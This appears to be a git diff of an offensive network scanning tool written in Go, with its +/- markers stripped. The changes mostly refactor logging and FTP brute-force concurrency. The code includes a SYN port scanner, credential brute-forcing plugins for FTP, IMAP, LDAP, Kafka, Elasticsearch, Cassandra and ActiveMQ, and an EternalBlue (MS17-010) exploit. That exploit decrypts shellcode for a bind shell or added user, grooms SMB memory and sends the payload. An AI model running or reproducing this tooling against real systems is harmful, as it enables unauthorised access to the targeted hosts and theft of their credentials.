// 如果失败,尝试查找可用接口
ifaces, err := pcap.FindAllDevs()
if err != nil {
return false, fmt.Errorf("无法找到网络接口: %v", err)
return false, fmt.Errorf("网络接口错误: %v", err)
}
// 遍历查找可用接口
var found bool
for _, iface := range ifaces {
handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever)
@ -202,7 +193,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
}
if !found {
return false, fmt.Errorf("无法打开任何网络接口")
return false, fmt.Errorf("未找到可用网络接口")
}
}
defer handle.Close()
@ -210,9 +201,10 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
srcPort := 12345 + port
filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort)
if err := handle.SetBPFFilter(filter); err != nil {
return false, fmt.Errorf("设置过滤器失败: %v", err)
return false, fmt.Errorf("过滤器错误: %v", err)
}
// TCP头部设置保持不变
tcpHeader := &ipv4.Header{
Version: 4,
Len: 20,
@ -222,6 +214,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
Dst: dstIP,
}
// SYN包构造保持不变
synPacket := make([]byte, 20)
binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort))
binary.BigEndian.PutUint16(synPacket[2:4], uint16(port))
@ -237,7 +230,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
binary.BigEndian.PutUint16(synPacket[16:18], checksum)
if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil {
return false, fmt.Errorf("发送SYN包失败: %v", err)
return false, fmt.Errorf("SYN包发送错误: %v", err)
}
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
@ -311,43 +304,6 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 {
return ^uint16(sum)
}
func UDPScan(ip string, port int, timeout int64) (bool, error) {
// 构造端口字符串
portStr := fmt.Sprintf("%d", port)
// 配置nmap扫描
scanner, err := nmap.NewScanner(
nmap.WithTargets(ip),
nmap.WithPorts(portStr),
nmap.WithUDPScan(),
nmap.WithTimingTemplate(nmap.TimingAggressive),
)
if err != nil {
return false, fmt.Errorf("创建扫描器失败: %v", err)
}
// 执行扫描
result, warnings, err := scanner.Run()
if err != nil {
return false, fmt.Errorf("扫描执行失败: %v", err)
}
if warnings != nil {
log.Printf("扫描警告: %v", warnings)
}
// 检查结果
for _, host := range result.Hosts {
for _, p := range host.Ports {
if int(p.ID) == port &&
(p.State.State == "open" || p.State.State == "open|filtered") {
return true, nil
}
}
}
return false, nil
}
// 获取系统对应的接口名
func getInterfaceName() string {
switch runtime.GOOS {

View File

@ -7,12 +7,12 @@ import (
"strconv"
"strings"
"sync"
"sync/atomic"
)
// Scan 执行扫描主流程
func Scan(info Common.HostInfo) {
fmt.Println("[*] 开始信息扫描...")
Common.LogInfo("开始信息扫描")
Common.ParseScanMode(Common.ScanMode)
ch := make(chan struct{}, Common.ThreadNum)
@ -28,7 +28,7 @@ func Scan(info Common.HostInfo) {
// 初始化并解析目标
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
fmt.Printf("[-] 解析主机错误: %v\n", err)
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
lib.Inithttp()
@ -42,50 +42,44 @@ func Scan(info Common.HostInfo) {
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
// 处理主机和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// ICMP存活性检测
if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() {
hosts = CheckLive(hosts, Common.UsePing)
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(hosts))
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
if Common.IsICMPScan() {
return
}
}
// 获取存活端口
var alivePorts []string
if Common.IsWebScan() {
alivePorts = NoPortScan(hosts, Common.Ports)
} else if len(hosts) > 0 {
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts))
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
if Common.IsPortScan() {
return
}
}
// 处理自定义端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts))
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
targetInfos = prepareTargetInfos(alivePorts, info)
}
// 准备URL扫描目标
for _, url := range Common.URLs {
urlInfo := info
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
// 执行扫描任务
if len(targetInfos) > 0 {
fmt.Println("[*] 开始漏洞扫描...")
Common.LogInfo("开始漏洞扫描")
executeScans(targetInfos, ch, wg)
}
}
@ -96,7 +90,7 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.
for _, targetIP := range alivePorts {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
fmt.Printf("[-] 无效的目标地址格式: %s\n", targetIP)
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
info := baseInfo
@ -112,54 +106,42 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro
var pluginsToRun []string
isSinglePlugin := false
// 获取要执行的插件列表
if plugins := Common.GetPluginsForMode(mode); plugins != nil {
// 预设模式下使用配置的插件组
pluginsToRun = plugins
fmt.Printf("[*] 正在加载插件组: %s\n", mode)
Common.LogInfo(fmt.Sprintf("加载插件组: %s", mode))
} else {
// 单插件模式
pluginsToRun = []string{mode}
isSinglePlugin = true
fmt.Printf("[*] 正在加载单插件: %s\n", mode)
Common.LogInfo(fmt.Sprintf("使用单个插件: %s", mode))
}
// 统一处理所有目标和插件
for _, target := range targets {
targetPort, _ := strconv.Atoi(target.Ports)
for _, pluginName := range pluginsToRun {
// 获取插件信息
plugin, exists := Common.PluginManager[pluginName]
if !exists {
fmt.Printf("[-] 插件 %s 不存在\n", pluginName)
Common.LogError(fmt.Sprintf("插件 %s 不存在", pluginName))
continue
}
// 本地扫描模式的特殊处理
if Common.LocalScan {
if len(plugin.Ports) == 0 {
fmt.Printf("[+] 载入插件: %s\n", pluginName)
AddScan(pluginName, target, ch, wg)
}
continue
}
// 单插件模式直接执行,不检查端口
if isSinglePlugin {
fmt.Printf("[+] 载入插件: %s\n", pluginName)
AddScan(pluginName, target, ch, wg)
continue
}
// 预设模式下的常规处理
if len(plugin.Ports) > 0 {
if plugin.HasPort(targetPort) {
fmt.Printf("[+] 载入插件: %s (端口: %d)\n", pluginName, targetPort)
AddScan(pluginName, target, ch, wg)
}
} else {
fmt.Printf("[+] 载入插件: %s\n", pluginName)
AddScan(pluginName, target, ch, wg)
}
}
@ -169,9 +151,11 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro
// finishScan 完成扫描任务
func finishScan(wg *sync.WaitGroup) {
wg.Wait()
// 先发送最后的成功消息
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
// 等待日志处理完成后再关闭通道
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
}
// Mutex用于保护共享资源的并发访问
@ -193,7 +177,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
// 增加总任务数
Mutex.Lock()
Common.Num += 1
atomic.AddInt64(&Common.Num, 1)
Mutex.Unlock()
// 执行扫描
@ -201,7 +185,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
// 增加已完成任务数
Mutex.Lock()
Common.End += 1
atomic.AddInt64(&Common.End, 1)
Mutex.Unlock()
}()
}
@ -210,20 +194,18 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
func ScanFunc(name *string, info *Common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}()
// 检查插件是否存在
plugin, exists := Common.PluginManager[*name]
if !exists {
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name))
return
}
// 直接调用扫描函数
if err := plugin.ScanFunc(info); err != nil {
fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}

View File

@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
}
if err != nil {
errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)

View File

@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) {
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("[-] base64解码失败: %v", err)
return "", fmt.Errorf("base64解码失败: %v", err)
}
keyBytes := []byte(key)
@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
return "", fmt.Errorf("创建解密块失败: %v", err)
}
// 创建CBC解密模式
@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
}
return string(origData), nil
@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte {
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("[-] 数据长度为0")
return nil, errors.New("数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("[-] 填充长度无效")
return nil, errors.New("填充长度无效")
}
return data[:length-padding], nil

View File

@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error
}
}
result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port)
result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {

View File

@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
// 检查响应状态
if resp.StatusCode == 200 {
result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port)
result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {

View File

@ -1,6 +1,7 @@
package Plugins
import (
"context"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
maxRetries := Common.MaxRetries
threads := Common.BruteThreads
successChan := make(chan struct{}, 1)
defer close(successChan)
// 创建带取消功能的context
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// 先尝试匿名登录
for retryCount := 0; retryCount < maxRetries; retryCount++ {
@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
if flag && err == nil {
return nil
}
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
Common.LogError(errlog)
if err != nil && !strings.Contains(err.Error(), "Login incorrect") {
@ -40,17 +43,20 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
break
}
// 创建任务通道
taskChan := make(chan struct {
user string
pass string
}, len(Common.Userdict["ftp"])*len(Common.Passwords))
resultChan := make(chan error, threads)
// 生成所有用户名密码组合任务
// 任务分发goroutine
go func() {
defer close(taskChan)
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
select {
case <-ctx.Done():
return
default:
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
@ -58,18 +64,20 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
}{user, pass}
}
}
close(taskChan)
}
}()
var wg sync.WaitGroup
resultChan := make(chan error, threads)
// 启动工作线程
var wg sync.WaitGroup
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for task := range taskChan {
// 检查是否已经成功
select {
case <-successChan:
case <-ctx.Done():
resultChan <- nil
return
default:
@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 执行FTP连接
done := make(chan struct {
success bool
err error
})
}, 1)
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
go func(user, pass string) {
success, err := FtpConn(info, user, pass)
done <- struct {
select {
case <-connCtx.Done():
case done <- struct {
success bool
err error
}{success, err}
}{success, err}:
}
}(task.user, task.pass)
// 等待结果或超时
var err error
select {
case <-ctx.Done():
connCancel()
resultChan <- nil
return
case result := <-done:
err = result.err
if result.success && err == nil {
select {
case successChan <- struct{}{}:
successLog := fmt.Sprintf("[+] FTP %v:%v %v %v",
successLog := fmt.Sprintf("FTP %v:%v %v %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
default:
}
time.Sleep(100 * time.Millisecond)
cancel() // 取消所有操作
resultChan <- nil
return
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
case <-connCtx.Done():
err = fmt.Errorf("连接超时")
}
// 处理错误情况
connCancel()
if err != nil {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
select {
case <-ctx.Done():
resultChan <- nil
return
default:
}
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
// 对于登录失败的错误,直接继续下一个
if strings.Contains(err.Error(), "Login incorrect") {
break
}
// 特别处理连接数过多的情况
if strings.Contains(err.Error(), "too many connections") {
time.Sleep(5 * time.Second)
if retryCount < maxRetries-1 {
continue // 继续重试
continue
}
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue // 继续下一个密码,而不是返回
continue
}
continue // 继续重试
continue
}
}
break // 如果不需要重试,跳出重试循环
break
}
}
resultChan <- nil
}()
}
// 等待所有线程完成
go func() {
wg.Wait()
close(resultChan)
}()
// 检查结果
for err := range resultChan {
if err != nil {
tmperr = err
// 对于超时错误也继续执行
if !strings.Contains(err.Error(), "扫描超时") {
if retryErr := Common.CheckErrs(err); retryErr != nil {
continue // 继续尝试,而不是返回
continue
}
}
}
@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
}
// 登录成功,获取目录信息
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
// 最多显示前6个目录

View File

@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
return fmt.Errorf("连接RPC端口失败: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("[-] 设置超时失败: %v", err)
return fmt.Errorf("设置超时失败: %v", err)
}
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
return fmt.Errorf("发送RPC请求1失败: %v", err)
}
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
return fmt.Errorf("读取RPC响应1失败: %v", err)
}
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
return fmt.Errorf("发送RPC请求2失败: %v", err)
}
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
return fmt.Errorf("读取RPC响应2失败: %v", err)
}
text := reply[42:]
@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error {
}
if !found {
return fmt.Errorf("[-] 未找到有效的响应标记")
return fmt.Errorf("未找到有效的响应标记")
}
return read(text, info.Host)
@ -195,7 +195,7 @@ func read(text []byte, host string) error {
// 输出IPv4地址
if len(ipv4Addrs) > 0 {
result += "\n [+] IPv4地址:"
result += "\n IPv4地址:"
for _, addr := range ipv4Addrs {
result += fmt.Sprintf("\n └─ %s", addr)
}
@ -203,7 +203,7 @@ func read(text []byte, host string) error {
// 输出IPv6地址
if len(ipv6Addrs) > 0 {
result += "\n [+] IPv6地址:"
result += "\n IPv6地址:"
for _, addr := range ipv6Addrs {
result += fmt.Sprintf("\n └─ %s", addr)
}

View File

@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri
}
if strings.Contains(response, "a001 OK") {
result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
host, port, user, pass)
Common.LogSuccess(result)
return true, nil

View File

@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
consumer, err := sarama.NewConsumer(brokers, config)
if err == nil {
defer consumer.Close()
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
client, err := sarama.NewClient(brokers, config)
if err == nil {
defer client.Close()
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {

View File

@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 记录成功结果
result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port)
result := fmt.Sprintf("LDAP服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {

View File

@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return
}
@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
return
}
@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return
}
@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) {
if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:])
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
return
}
sc = fmt.Sprintf("%x", read)
@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) {
// 验证shellcode有效性
if len(sc) < 20 {
fmt.Println("[-] 无效的Shellcode")
fmt.Println("无效的Shellcode")
return
}
// 解码shellcode
sc1, err := hex.DecodeString(sc)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
return
}
// 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
return
}
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
}
// eternalBlue 执行EternalBlue漏洞利用
@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
scLen := len(sc)
if scLen > maxscSize {
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)",
scLen, maxscSize, scLen-maxscSize)
}
@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error {
// 建立SMB1匿名IPC连接
header, conn, err := smb1AnonymousConnectIPC(address)
if err != nil {
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
return fmt.Errorf("建立SMB连接失败: %v", err)
}
defer func() { _ = conn.Close() }()
// 发送SMB1大缓冲区数据
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
return fmt.Errorf("设置读取超时失败: %v", err)
}
if err = smb1LargeBuffer(conn, header); err != nil {
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
return fmt.Errorf("发送大缓冲区失败: %v", err)
}
// 初始化内存喷射线程
fhsConn, err := smb1FreeHole(address, true)
if err != nil {
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
return fmt.Errorf("初始化内存喷射失败: %v", err)
}
defer func() { _ = fhsConn.Close() }()
// 第一轮内存喷射
groomConns, err := smb2Grooms(address, grooms)
if err != nil {
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
return fmt.Errorf("第一轮内存喷射失败: %v", err)
}
// 释放内存并执行第二轮喷射
fhfConn, err := smb1FreeHole(address, false)
if err != nil {
return fmt.Errorf("[-] 释放内存失败: %v", err)
return fmt.Errorf("释放内存失败: %v", err)
}
_ = fhsConn.Close()
// 执行第二轮内存喷射
groomConns2, err := smb2Grooms(address, 6)
if err != nil {
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
return fmt.Errorf("第二轮内存喷射失败: %v", err)
}
_ = fhfConn.Close()
@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error {
// 发送最终漏洞利用数据包
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
return fmt.Errorf("设置读取超时失败: %v", err)
}
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
if _, err = conn.Write(finalPacket); err != nil {
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
return fmt.Errorf("发送漏洞利用数据包失败: %v", err)
}
// 获取响应并检查状态
raw, _, err := smb1GetResponse(conn)
if err != nil {
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
return fmt.Errorf("获取漏洞利用响应失败: %v", err)
}
// 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
// 发送payload
Common.LogSuccess("[*] 开始发送Payload")
Common.LogSuccess("开始发送Payload")
body := makeSMB2Body(payload)
// 分段发送payload
for _, conn := range groomConns {
if _, err = conn.Write(body[:2920]); err != nil {
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
return fmt.Errorf("发送Payload第一段失败: %v", err)
}
}
for _, conn := range groomConns {
if _, err = conn.Write(body[2920:4073]); err != nil {
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
return fmt.Errorf("发送Payload第二段失败: %v", err)
}
}
Common.LogSuccess("[+] Payload发送完成")
Common.LogSuccess("Payload发送完成")
return nil
}
@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
return nil, nil, fmt.Errorf("连接目标失败: %v", err)
}
// 连接状态标记
@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// SMB协议协商
if err = smbClientNegotiate(conn); err != nil {
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err)
}
// 匿名登录
raw, header, err := smb1AnonymousLogin(conn)
if err != nil {
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
return nil, nil, fmt.Errorf("匿名登录失败: %v", err)
}
// 获取系统版本信息
if _, err = getOSName(raw); err != nil {
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
return nil, nil, fmt.Errorf("获取系统信息失败: %v", err)
}
// 连接IPC共享
header, err = treeConnectAndX(conn, address, header.UserID)
if err != nil {
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err)
}
ok = true
@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取NetBIOS会话服务头
buf := make([]byte, 4)
if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err)
}
// 校验消息类型
messageType := buf[0]
if messageType != 0x00 {
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType)
}
// 解析消息体大小
@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取SMB消息体
buf = make([]byte, messageSize)
if _, err := io.ReadFull(conn, buf); err != nil {
